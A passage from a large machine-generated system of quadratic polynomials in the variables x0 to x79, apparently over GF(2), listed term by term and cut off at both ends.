x8*x27 + x8*x29 + x8*x31 + x8*x32 + x8*x35 + x8*x37 + x8*x38 + x8*x39 + x8*x40 + x8*x41 + x8*x42 + x8*x43 + x8*x44 + x8*x45 + x8*x55 + x8*x56 + x8*x57 + x8*x58 + x8*x59 + x8*x61 + x8*x62 + x8*x64 + x8*x66 + x8*x67 + x8*x69 + x8*x75 + x8*x76 + x8*x77 + x8*x78 + x9*x11 + x9*x12 + x9*x14 + x9*x16 + x9*x17 + x9*x20 + x9*x21 + x9*x22 + x9*x27 + x9*x28 + x9*x29 + x9*x32 + x9*x33 + x9*x34 + x9*x35 + x9*x37 + x9*x38 + x9*x40 + x9*x41 + x9*x43 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x48 + x9*x52 + x9*x53 + x9*x54 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x61 + x9*x62 + x9*x63 + x9*x67 + x9*x68 + x9*x69 + x9*x72 + x9*x74 + x9*x78 + x9*x79 + x9 + x10*x11 + x10*x12 + x10*x13 + x10*x14 + x10*x15 + x10*x16 + x10*x17 + x10*x20 + x10*x21 + x10*x22 + x10*x23 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x29 + x10*x38 + x10*x39 + x10*x42 + x10*x43 + x10*x46 + x10*x48 + x10*x50 + x10*x51 + x10*x52 + x10*x53 + x10*x56 + x10*x57 + x10*x58 + x10*x59 + x10*x60 + x10*x62 + x10*x64 + x10*x65 + x10*x66 + x10*x67 + x10*x68 + x10*x70 + x10*x71 + x10*x72 + x10*x73 + x10*x76 + x10*x79 + x11*x12 + x11*x13 + x11*x15 + x11*x16 + x11*x20 + x11*x28 + x11*x29 + x11*x30 + x11*x31 + x11*x34 + x11*x36 + x11*x40 + x11*x42 + x11*x46 + x11*x47 + x11*x49 + x11*x50 + x11*x51 + x11*x52 + x11*x53 + x11*x54 + x11*x55 + x11*x58 + x11*x61 + x11*x62 + x11*x63 + x11*x65 + x11*x67 + x11*x68 + x11*x70 + x11*x73 + x11*x75 + x11*x76 + x11*x79 + x11 + x12*x19 + x12*x20 + x12*x23 + x12*x26 + x12*x28 + x12*x30 + x12*x32 + x12*x35 + x12*x41 + x12*x43 + x12*x45 + x12*x47 + x12*x49 + x12*x55 + x12*x57 + x12*x58 + x12*x59 + x12*x60 + x12*x61 + x12*x64 + x12*x68 + x12*x73 + x12*x74 + x12*x75 + x12*x77 + x12*x78 + x12*x79 + x13*x14 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x26 + x13*x28 + x13*x30 + x13*x31 + x13*x32 + x13*x34 + x13*x37 + x13*x41 + x13*x43 + x13*x44 + x13*x45 + x13*x47 + x13*x48 + x13*x50 + x13*x52 + x13*x53 + x13*x54 + x13*x58 + x13*x60 + x13*x61 + x13*x64 + x13*x65 + x13*x66 + x13*x70 + x13*x71 + x13*x73 + x13*x75 + x13*x78 + x13*x79 + x13 + x14*x16 + x14*x18 + x14*x19 + x14*x22 + x14*x23 + x14*x24 + x14*x25 + x14*x27 + x14*x32 + x14*x34 + x14*x35 + x14*x36 + x14*x37 + x14*x39 + x14*x44 + x14*x45 + x14*x47 + x14*x48 + x14*x49 + x14*x50 + x14*x51 + x14*x52 + x14*x53 + x14*x61 + x14*x62 + x14*x64 + x14*x66 + x14*x67 + x14*x68 + x14*x71 + x14*x72 + x14*x75 + x14*x76 + x15*x16 + x15*x20 + x15*x22 + x15*x26 + x15*x28 + x15*x30 + x15*x31 + x15*x33 + x15*x35 + x15*x36 + x15*x37 + x15*x38 + x15*x42 + x15*x44 + x15*x45 + x15*x46 + x15*x48 + x15*x52 + x15*x53 + x15*x59 + x15*x61 + x15*x63 + x15*x65 + x15*x68 + x15*x69 + x15*x71 + x15*x72 + x15*x74 + x15*x79 + x16*x17 + x16*x18 + x16*x19 + x16*x21 + x16*x22 + x16*x24 + x16*x25 + x16*x26 + x16*x27 + x16*x28 + x16*x33 + x16*x34 + x16*x37 + x16*x38 + x16*x41 + x16*x46 + x16*x47 + x16*x48 + x16*x52 + x16*x53 + x16*x56 + x16*x57 + x16*x58 + x16*x62 + x16*x66 + x16*x67 + x16*x68 + x16*x70 + x16*x71 + x16*x73 + x16*x74 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x22 + x17*x24 + x17*x25 + x17*x26 + x17*x32 + x17*x34 + x17*x36 + x17*x39 + x17*x41 + x17*x43 + x17*x44 + x17*x45 + x17*x49 + x17*x50 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x56 + x17*x60 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x67 + x17*x68 + x17*x71 + x17*x74 + x17 + x18*x19 + x18*x22 + x18*x24 + x18*x25 + x18*x29 + x18*x31 + x18*x37 + x18*x42 + x18*x44 + x18*x45 + x18*x46 + x18*x47 + x18*x49 + x18*x51 + x18*x52 + x18*x53 + x18*x55 + x18*x56 + x18*x60 + x18*x63 + x18*x64 + x18*x70 + x18*x71 + x18*x75 + x18*x76 + x18*x77 + x18*x79 + x19*x21 + x19*x22 + x19*x23 + x19*x25 + x19*x28 + x19*x29 + x19*x32 + x19*x34 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x41 + x19*x44 + x19*x46 + x19*x49 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x56 + x19*x62 + x19*x63 + x19*x67 + x19*x68 + x19*x69 + x19*x70 + x19*x74 + x19*x75 + x19*x76 + x19*x77 + x19*x78 + x19*x79 + x19 + x20*x21 + x20*x22 + x20*x26 + x20*x27 + x20*x28 + x20*x29 + x20*x32 + x20*x34 + x20*x35 + x20*x36 + x20*x41 + x20*x43 + x20*x45 + x20*x46 + x20*x49 + x20*x50 + x20*x51 + x20*x54 + x20*x55 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x62 + x20*x63 + x20*x65 + x20*x69 + x20*x70 + x20*x71 + x20*x72 + x20*x73 + x20*x75 + x20*x76 + x20*x77 + x20*x79 + x21*x26 + x21*x28 + x21*x34 + x21*x38 + x21*x39 + x21*x40 + x21*x42 + x21*x44 + x21*x46 + x21*x47 + x21*x48 + x21*x51 + x21*x52 + x21*x56 + x21*x60 + x21*x64 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x73 + x21*x75 + x21*x76 + x21*x78 + x22*x26 + x22*x28 + x22*x29 + x22*x31 + x22*x33 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x41 + x22*x42 + x22*x43 + x22*x47 + x22*x48 + x22*x50 + x22*x51 + x22*x53 + x22*x56 + x22*x57 + x22*x58 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x66 + x22*x71 + x22*x73 + x22*x74 + x22*x76 + x22*x77 + x22*x79 + x22 + x23*x24 + x23*x27 + x23*x28 + x23*x29 + x23*x32 + x23*x33 + x23*x35 + x23*x37 + x23*x40 + x23*x41 + x23*x42 + x23*x43 + x23*x45 + x23*x48 + x23*x50 + x23*x51 + x23*x53 + x23*x57 + x23*x61 + x23*x62 + x23*x63 + x23*x65 + x23*x66 + x23*x70 + x23*x71 + x23*x74 + x23*x76 + x23*x78 + x23*x79 + x24*x25 + x24*x26 + x24*x32 + x24*x38 + x24*x40 + x24*x44 + x24*x45 + x24*x47 + x24*x49 + x24*x50 + x24*x52 + x24*x56 + x24*x58 + x24*x65 + x24*x68 + x24*x73 + x24*x74 + x24*x75 + x24*x79 + x24 + x25*x28 + x25*x29 + x25*x33 + x25*x34 + x25*x36 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x43 + x25*x46 + x25*x48 + x25*x49 + x25*x50 + x25*x52 + x25*x53 + x25*x55 + x25*x57 + x25*x64 + x25*x66 + x25*x67 + x25*x69 + x25*x70 + x25*x72 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x78 + x25 + x26*x28 + x26*x29 + x26*x33 + x26*x34 + x26*x35 + x26*x38 + x26*x41 + x26*x43 + x26*x48 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x59 + x26*x60 + x26*x64 + x26*x65 + x26*x67 + x26*x70 + x26*x71 + x26*x72 + x26*x73 + x26*x75 + x26*x76 + x26*x77 + x26*x79 + x27*x28 + x27*x30 + x27*x31 + x27*x33 + x27*x37 + x27*x38 + x27*x39 + x27*x41 + x27*x43 + x27*x44 + x27*x45 + x27*x48 + x27*x49 + x27*x50 + x27*x53 + x27*x55 + x27*x56 + x27*x58 + x27*x63 + x27*x69 + x27*x70 + x27*x72 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x79 + x27 + x28*x30 + x28*x32 + x28*x33 + x28*x34 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x47 + x28*x49 + x28*x51 + x28*x53 + x28*x55 + x28*x56 + x28*x57 + x28*x58 + x28*x61 + x28*x62 + x28*x64 + x28*x72 + x28*x75 + x28*x79 + x29*x35 + x29*x37 + x29*x38 + x29*x39 + x29*x40 + x29*x41 + x29*x46 + x29*x49 + x29*x50 + x29*x51 + x29*x52 + x29*x54 + x29*x55 + x29*x56 + x29*x57 + x29*x58 + x29*x60 + x29*x61 + x29*x62 + x29*x64 + x29*x66 + x29*x69 + x29*x71 + x29*x72 + x29*x73 + x29*x74 + x29*x75 + x29*x76 + x29*x78 + x29*x79 + x29 + x30*x31 + x30*x34 + x30*x35 + x30*x37 + x30*x39 + x30*x41 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x46 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x53 + x30*x55 + x30*x56 + x30*x57 + x30*x58 + x30*x60 + x30*x61 + x30*x62 + x30*x63 + x30*x65 + x30*x66 + x30*x68 + x30*x69 + x30*x70 + x30*x71 + x30*x75 + x30*x76 + x30*x79 + x31*x32 + x31*x33 + x31*x34 + x31*x36 + x31*x37 + x31*x38 + x31*x39 + x31*x46 + x31*x47 + x31*x50 + x31*x53 + x31*x54 + x31*x56 + x31*x58 + x31*x60 + x31*x61 + x31*x63 + x31*x65 + x31*x67 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x74 + x31*x76 + x31*x77 + x31*x79 + x31 + x32*x33 + x32*x35 + x32*x37 + x32*x40 + x32*x45 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x51 + x32*x52 + x32*x54 + x32*x55 + x32*x58 + x32*x59 + x32*x60 + x32*x61 + x32*x62 + x32*x65 + x32*x66 + x32*x67 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x79 + x33*x36 + x33*x37 + x33*x38 + x33*x39 + x33*x42 + x33*x43 + x33*x45 + x33*x51 + x33*x53 + x33*x54 + x33*x57 + x33*x58 + x33*x60 + x33*x61 + x33*x63 + x33*x64 + x33*x65 + x33*x70 + x33*x71 + x33*x76 + x33*x77 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x39 + x34*x40 + x34*x41 + x34*x43 + x34*x44 + x34*x45 + x34*x50 + x34*x52 + x34*x53 + x34*x54 + x34*x56 + x34*x57 + x34*x59 + x34*x60 + x34*x61 + x34*x62 + x34*x65 + x34*x70 + x34*x71 + x34*x72 + x34*x73 + x34*x74 + x34*x76 + x34*x78 + x34*x79 + x35*x38 + x35*x44 + x35*x45 + x35*x47 + x35*x53 + x35*x54 + x35*x55 + x35*x57 + x35*x59 + x35*x60 + x35*x61 + x35*x62 + x35*x64 + x35*x68 + x35*x69 + x35*x72 + x35*x74 + x35*x75 + x35*x76 + x35*x77 + x35 + x36*x38 + x36*x41 + x36*x42 + x36*x43 + x36*x44 + x36*x46 + x36*x47 + x36*x50 + x36*x53 + x36*x54 + x36*x55 + x36*x58 + x36*x60 + x36*x63 + x36*x67 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x74 + x36*x77 + x36*x78 + x36*x79 + x36 + x37*x40 + x37*x41 + x37*x43 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x54 + x37*x57 + x37*x58 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x66 + x37*x67 + x37*x69 + x37*x73 + x37*x76 + x38*x41 + x38*x42 + x38*x44 + x38*x48 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x55 + x38*x56 + x38*x58 + x38*x61 + x38*x63 + x38*x66 + x38*x67 + x38*x68 + x38*x70 + x38*x72 + x38*x73 + x38*x75 + x39*x42 + x39*x43 + x39*x47 + x39*x49 + x39*x51 + x39*x55 + x39*x56 + x39*x57 + x39*x59 + x39*x61 + x39*x67 + x39*x68 + x39*x72 + x39*x73 + x39*x74 + x39*x77 + x39*x79 + x40*x42 + x40*x43 + x40*x44 + x40*x46 + x40*x47 + x40*x48 + x40*x50 + x40*x51 + x40*x53 + x40*x54 + x40*x57 + x40*x61 + x40*x64 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40 + x41*x42 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x53 + x41*x58 + x41*x59 + x41*x60 + x41*x61 + x41*x62 + x41*x63 + x41*x65 + x41*x67 + x41*x68 + x41*x70 + x41*x76 + x41*x78 + x41 + x42*x47 + x42*x48 + x42*x50 + x42*x51 + x42*x52 + x42*x56 + x42*x59 + x42*x60 + x42*x63 + x42*x64 + x42*x67 + x42*x69 + x42*x70 + x42*x71 + x42*x72 + x42*x73 + x42*x75 + x42*x79 + x42 + x43*x44 + x43*x45 + x43*x46 + x43*x47 + x43*x49 + x43*x50 + x43*x53 + x43*x54 + x43*x58 + x43*x59 + x43*x60 + x43*x61 + x43*x62 + x43*x64 + x43*x66 + x43*x67 + x43*x68 + x43*x70 + x43*x71 + x43*x74 + x43*x76 + x43 + x44*x45 + x44*x49 + x44*x50 + x44*x51 + x44*x56 + x44*x57 + x44*x60 + x44*x62 + x44*x63 + x44*x64 + x44*x65 + x44*x70 + x44*x72 + x44*x73 + x44*x74 + x44*x77 + x44 + x45*x48 + x45*x49 + x45*x52 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x57 + x45*x61 + x45*x62 + x45*x64 + x45*x65 + x45*x68 + x45*x69 + x45*x70 + x45*x71 + x45*x73 + x45*x74 + x45*x75 + x45*x76 + x45*x79 + x46*x48 + x46*x50 + x46*x52 + x46*x57 + x46*x59 + x46*x60 + x46*x62 + x46*x65 + x46*x66 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x73 + x46*x74 + x46*x75 + x46*x78 + x46 + x47*x49 + x47*x53 + x47*x54 + x47*x55 + x47*x57 + x47*x59 + x47*x62 + x47*x63 + x47*x66 + x47*x68 + x47*x69 + x47*x70 + x47*x73 + x47*x74 + x47*x76 + x47*x77 + x47*x78 + x47*x79 + x47 + x48*x50 + x48*x53 + x48*x54 + x48*x58 + x48*x59 + x48*x60 + x48*x61 + x48*x63 + x48*x65 + x48*x66 + x48*x68 + x48*x69 + x48*x73 + x48*x75 + x48*x77 + x48*x78 + x48*x79 + x48 + x49*x50 + x49*x51 + x49*x53 + x49*x58 + x49*x59 + x49*x62 + x49*x64 + x49*x65 + x49*x67 + x49*x68 + x49*x69 + x49*x71 + x49*x72 + x49*x74 + x49*x75 + x49*x76 + x49*x79 + x49 + x50*x52 + x50*x53 + x50*x54 + x50*x56 + x50*x57 + x50*x60 + x50*x62 + x50*x63 + x50*x64 + x50*x66 + x50*x68 + x50*x69 + x50*x70 + x50*x71 + x50*x72 + x50*x74 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x53 + x51*x55 + x51*x56 + x51*x57 + x51*x64 + x51*x65 + x51*x68 + x51*x73 + x51*x74 + x51*x76 + x51*x79 + x52*x53 + x52*x54 + x52*x55 + x52*x58 + x52*x59 + x52*x60 + x52*x62 + x52*x66 + x52*x69 + x52*x70 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x56 + x53*x59 + x53*x60 + x53*x62 + x53*x73 + x53*x75 + x53*x76 + x53*x78 + x53*x79 + x54*x56 + x54*x57 + x54*x61 + x54*x62 + x54*x66 + x54*x67 + x54*x70 + x54*x72 + x54*x73 + x54*x77 + x55*x57 + x55*x59 + x55*x60 + x55*x61 + x55*x65 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x73 + x55*x75 + x55*x76 + x55*x79 + x56*x57 + x56*x58 + x56*x59 + x56*x62 + x56*x66 + x56*x67 + x56*x69 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x57*x59 + x57*x61 + x57*x62 + x57*x66 + x57*x67 + x57*x70 + x57*x71 + x57*x72 + x57*x73 + x57*x74 + x57*x76 + x58*x60 + x58*x61 + x58*x67 + x58*x71 + x58*x72 + x58*x75 + x58*x77 + x58*x79 + x59*x61 + x59*x62 + x59*x63 + x59*x67 + x59*x69 + x59*x70 + x59*x78 + x59*x79 + x59 + x60*x63 + x60*x65 + x60*x66 + x60*x68 + x60*x70 + x60*x73 + x60*x74 + x60*x75 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x63 + x61*x67 + x61*x68 + x61*x70 + x61*x73 + x61*x74 + x61*x77 + x62*x66 + x62*x67 + x62*x70 + x62*x71 + x62*x72 + x62*x73 + x62*x74 + x62*x76 + x62*x77 + x62*x78 + x63*x64 + x63*x65 + x63*x70 + x63*x72 + x63*x73 + x63*x74 + x63*x76 + x63*x77 + x63*x78 + x63 + x64*x67 + x64*x70 + x64*x72 + x64*x75 + x64*x78 + x65*x66 + x65*x67 + x65*x71 + x65*x72 + x65*x73 + x65*x75 + x65*x77 + x65*x78 + x66*x67 + x66*x68 + x66*x71 + x66*x75 + x66*x77 + x66*x78 + x66*x79 + x67*x68 + x67*x69 + x67*x70 + x67*x72 + x67*x73 + x67*x75 + x67 + x68*x71 + x68*x72 + x68*x73 + x68*x79 + x68 + x69*x72 + x69*x74 + x69*x77 + x69*x78 + x69 + x70*x74 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x71*x73 + x71*x74 + x71*x76 + x71*x78 + x72*x73 + x72*x74 + x72*x75 + x72*x76 + x72*x77 + x73*x74 + x73*x75 + x73*x78 + x73*x79 + x74*x75 + x74*x77 + x74*x79 + x75*x77 + x75*x78 + x75*x79 + x76*x77 + x76*x78 + x76*x79 + x76 + x78*x79 + x79 + 1, x0*x1 + x0*x4 + x0*x5 + x0*x7 + x0*x11 + x0*x14 + x0*x15 + x0*x16 + x0*x18 + x0*x19 + x0*x27 + x0*x28 + x0*x30 + x0*x33 + x0*x38 + x0*x41 + x0*x42 + x0*x44 + x0*x45 + x0*x46 + x0*x47 + x0*x48 + x0*x50 + x0*x51 + x0*x53 + x0*x54 + x0*x55 + x0*x57 + x0*x58 + x0*x60 + x0*x64 + x0*x65 + x0*x66 + x0*x69 + x0*x70 + x0*x71 + x0*x74 + x0*x75 + x0*x77 + x0*x79 + x0 + x1*x3 + x1*x4 + x1*x10 + x1*x12 + x1*x14 + x1*x16 + x1*x17 + x1*x20 + x1*x21 + x1*x22 + x1*x24 + x1*x25 + x1*x26 + x1*x28 + x1*x29 + x1*x31 + x1*x33 + x1*x36 + x1*x37 + x1*x43 + x1*x46 + x1*x49 + x1*x50 + x1*x51 + x1*x53 + x1*x56 + x1*x57 + x1*x59 + x1*x60 + x1*x63 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x70 + x1*x72 + x1*x74 + x1*x76 + x1*x77 + x1*x78 + x1*x79 + x2*x4 + x2*x5 + x2*x7 + x2*x9 + x2*x10 + x2*x11 + x2*x12 + x2*x13 + x2*x17 + x2*x19 + x2*x22 + x2*x23 + x2*x24 + x2*x28 + x2*x29 + x2*x30 + x2*x31 + x2*x34 + x2*x38 + x2*x39 + x2*x40 + x2*x42 + x2*x43 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x48 + x2*x50 + x2*x52 + x2*x61 + x2*x62 + x2*x64 + x2*x65 + x2*x66 + x2*x67 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x73 + x2*x76 + x2*x77 + x2*x79 + x2 + x3*x5 + x3*x6 + x3*x8 + x3*x9 + x3*x10 + x3*x14 + x3*x15 + x3*x16 + x3*x17 + x3*x19 + x3*x21 + x3*x23 + x3*x31 + x3*x35 + x3*x36 + x3*x43 + x3*x45 + x3*x48 + x3*x49 + x3*x52 + x3*x53 + x3*x55 + x3*x56 + x3*x63 + x3*x67 + x3*x70 + x3*x74 + x3*x75 + x3*x76 + x3 + x4*x7 + x4*x9 + x4*x10 + x4*x12 + x4*x15 + x4*x16 + x4*x17 + x4*x19 + x4*x21 + x4*x27 + x4*x30 + x4*x32 + x4*x34 + x4*x35 + x4*x36 + x4*x39 + x4*x40 + x4*x42 + x4*x43 + x4*x46 + x4*x47 + x4*x48 + x4*x49 + x4*x51 + x4*x52 + x4*x53 + x4*x55 + x4*x57 + x4*x61 + x4*x62 + x4*x63 + x4*x72 + x4*x73 + x4*x74 + x4*x76 + x4*x78 + x4*x79 + x5*x8 + x5*x9 + x5*x11 + x5*x14 + x5*x17 + x5*x18 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x24 + x5*x27 + x5*x29 + x5*x31 + x5*x34 + x5*x36 + x5*x38 + x5*x41 + x5*x42 + x5*x44 + x5*x45 + x5*x46 + x5*x47 + x5*x48 + x5*x50 + x5*x51 + x5*x55 + x5*x56 + x5*x59 + x5*x63 + x5*x64 + x5*x65 + x5*x66 + x5*x70 + x5*x73 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x13 + x6*x14 + x6*x15 + x6*x16 + x6*x17 + x6*x18 + x6*x20 + x6*x21 + x6*x22 + x6*x24 + x6*x25 + x6*x28 + x6*x29 + x6*x30 + x6*x32 + x6*x34 + x6*x36 + x6*x37 + x6*x39 + x6*x41 + x6*x44 + x6*x45 + x6*x46 + x6*x50 + x6*x51 + x6*x53 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x60 + x6*x61 + x6*x62 + x6*x64 + x6*x68 + x6*x70 + x6*x73 + x6*x74 + x6*x75 + x6*x76 + x6*x79 + x7*x8 + x7*x10 + x7*x11 + x7*x14 + x7*x19 + x7*x20 + x7*x21 + x7*x24 + x7*x28 + x7*x30 + x7*x33 + x7*x34 + x7*x36 + x7*x37 + x7*x38 + x7*x39 + x7*x41 + x7*x42 + x7*x46 + x7*x47 + x7*x51 + x7*x53 + x7*x55 + x7*x56 + x7*x58 + x7*x61 + x7*x62 + x7*x63 + x7*x71 + x7*x73 + x7*x74 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x7*x79 + x8*x9 + x8*x10 + x8*x11 + x8*x15 + x8*x17 + x8*x19 + x8*x21 + x8*x23 + x8*x24 + x8*x25 + x8*x28 + x8*x29 + x8*x33 + x8*x36 + x8*x37 + x8*x41 + x8*x42 + x8*x43 + x8*x45 + x8*x47 + x8*x48 + x8*x49 + x8*x51 + x8*x53 + x8*x54 + x8*x58 + x8*x59 + x8*x61 + x8*x62 + x8*x63 + x8*x65 + x8*x67 + x8*x70 + x8*x71 + x8*x78 + x8 + x9*x11 + x9*x15 + x9*x16 + x9*x19 + x9*x22 + x9*x25 + x9*x29 + x9*x30 + x9*x31 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x42 + x9*x43 + x9*x45 + x9*x46 + x9*x51 + x9*x52 + x9*x55 + x9*x60 + x9*x62 + x9*x63 + x9*x65 + x9*x66 + x9*x72 + x9*x73 + x9*x77 + x9 + x10*x15 + x10*x16 + x10*x17 + x10*x18 + x10*x20 + x10*x22 + x10*x23 + x10*x26 + x10*x30 + x10*x31 + x10*x32 + x10*x33 + x10*x34 + x10*x41 + x10*x42 + x10*x43 + x10*x45 + x10*x46 + x10*x48 + x10*x49 + x10*x50 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x57 + x10*x58 + x10*x60 + x10*x62 + x10*x63 + x10*x67 + x10*x68 + x10*x71 + x10*x72 + x10*x73 + x10*x74 + x10*x76 + x10*x78 + x10*x79 + x10 + x11*x12 + x11*x13 + x11*x14 + x11*x17 + x11*x19 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x26 + x11*x27 + x11*x28 + x11*x29 + x11*x30 + x11*x31 + x11*x33 + x11*x36 + x11*x38 + x11*x43 + x11*x45 + x11*x46 + x11*x47 + x11*x48 + x11*x49 + x11*x51 + x11*x53 + x11*x54 + x11*x56 + x11*x57 + x11*x58 + x11*x59 + x11*x60 + x11*x61 + x11*x66 + x11*x68 + x11*x70 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x79 + x11 + x12*x14 + x12*x16 + x12*x18 + x12*x20 + x12*x22 + x12*x23 + x12*x25 + x12*x26 + x12*x28 + x12*x29 + x12*x30 + x12*x33 + x12*x34 + x12*x35 + x12*x37 + x12*x38 + x12*x39 + x12*x40 + x12*x42 + x12*x43 + x12*x46 + x12*x47 + x12*x49 + x12*x50 + x12*x51 + x12*x54 + x12*x55 + x12*x57 + x12*x58 + x12*x60 + x12*x62 + x12*x63 + x12*x64 + x12*x67 + x12*x70 + x12*x74 + x12*x75 + x12*x77 + x12*x79 + x12 + x13*x17 + x13*x19 + x13*x20 + x13*x23 + x13*x26 + x13*x27 + x13*x31 + x13*x33 + x13*x34 + x13*x35 + x13*x38 + x13*x42 + x13*x45 + x13*x47 + x13*x49 + x13*x50 + x13*x52 + x13*x55 + x13*x59 + x13*x62 + x13*x63 + x13*x67 + x13*x72 + x13*x73 + x13*x74 + x13*x75 + x13*x78 + x13*x79 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x21 + x14*x22 + x14*x23 + x14*x29 + x14*x32 + x14*x33 + x14*x39 + x14*x40 + x14*x42 + x14*x44 + x14*x45 + x14*x46 + x14*x50 + x14*x51 + x14*x52 + x14*x54 + x14*x57 + x14*x58 + x14*x59 + x14*x61 + x14*x63 + x14*x66 + x14*x67 + x14*x70 + x14*x78 + x15*x16 + x15*x18 + x15*x21 + x15*x22 + x15*x25 + x15*x26 + x15*x33 + x15*x34 + x15*x35 + x15*x36 + x15*x37 + x15*x39 + x15*x40 + x15*x42 + x15*x43 + x15*x44 + x15*x46 + x15*x51 + x15*x52 + x15*x58 + x15*x62 + x15*x64 + x15*x65 + x15*x66 + x15*x67 + x15*x72 + x15*x75 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x19 + x16*x20 + x16*x22 + x16*x26 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x34 + x16*x35 + x16*x40 + x16*x42 + x16*x44 + x16*x48 + x16*x49 + x16*x51 + x16*x53 + x16*x55 + x16*x56 + x16*x59 + x16*x60 + x16*x62 + x16*x67 + x16*x68 + x16*x70 + x16*x71 + x16*x74 + x16*x79 + x17*x18 + x17*x19 + x17*x21 + x17*x26 + x17*x27 + x17*x28 + x17*x29 + x17*x30 + x17*x31 + x17*x34 + x17*x35 + x17*x36 + x17*x44 + x17*x50 + x17*x53 + x17*x55 + x17*x58 + x17*x62 + x17*x63 + x17*x64 + x17*x66 + x17*x71 + x17*x72 + x17*x74 + x17*x76 + x17*x79 + x17 + x18*x21 + x18*x23 + x18*x26 + x18*x27 + x18*x28 + x18*x34 + x18*x36 + x18*x38 + x18*x39 + x18*x40 + x18*x42 + x18*x43 + x18*x44 + x18*x46 + x18*x47 + x18*x48 + x18*x52 + x18*x53 + x18*x55 + x18*x65 + x18*x67 + x18*x68 + x18*x69 + x18*x70 + x18*x71 + x18*x72 + x18*x74 + x18*x76 + x18*x78 + x18*x79 + x19*x20 + x19*x21 + x19*x23 + x19*x24 + x19*x27 + x19*x29 + x19*x30 + x19*x32 + x19*x33 + x19*x35 + x19*x38 + x19*x39 + x19*x41 + x19*x42 + x19*x45 + x19*x47 + x19*x51 + x19*x53 + x19*x55 + x19*x57 + x19*x61 + x19*x63 + x19*x66 + x19*x68 + x19*x69 + x19*x72 + x19*x75 + x19*x76 + x19*x79 + x19 + x20*x24 + x20*x29 + x20*x32 + x20*x33 + x20*x34 + x20*x38 + x20*x40 + x20*x44 + x20*x45 + x20*x48 + x20*x51 + x20*x53 + x20*x57 + x20*x61 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x70 + x20*x74 + x20*x75 + x20*x76 + x20*x79 + x20 + x21*x22 + x21*x25 + x21*x26 + x21*x27 + x21*x28 + x21*x30 + x21*x31 + x21*x32 + x21*x37 + x21*x38 + x21*x39 + x21*x40 + x21*x47 + x21*x48 + x21*x50 + x21*x53 + x21*x54 + x21*x55 + x21*x62 + x21*x66 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x73 + x21*x75 + x21*x76 + x21*x79 + x21 + x22*x23 + x22*x25 + x22*x26 + x22*x27 + x22*x30 + x22*x34 + x22*x36 + x22*x38 + x22*x41 + x22*x44 + x22*x47 + x22*x51 + x22*x54 + x22*x57 + x22*x59 + x22*x60 + x22*x65 + x22*x66 + x22*x71 + x22*x73 + x22*x77 + x22*x78 + x22*x79 + x23*x25 + x23*x26 + x23*x28 + x23*x29 + x23*x31 + x23*x32 + x23*x33 + x23*x34 + x23*x36 + x23*x38 + x23*x40 + x23*x41 + x23*x43 + x23*x44 + x23*x50 + x23*x58 + x23*x62 + x23*x63 + x23*x66 + x23*x67 + x23*x69 + x23*x72 + x23*x79 + x24*x30 + 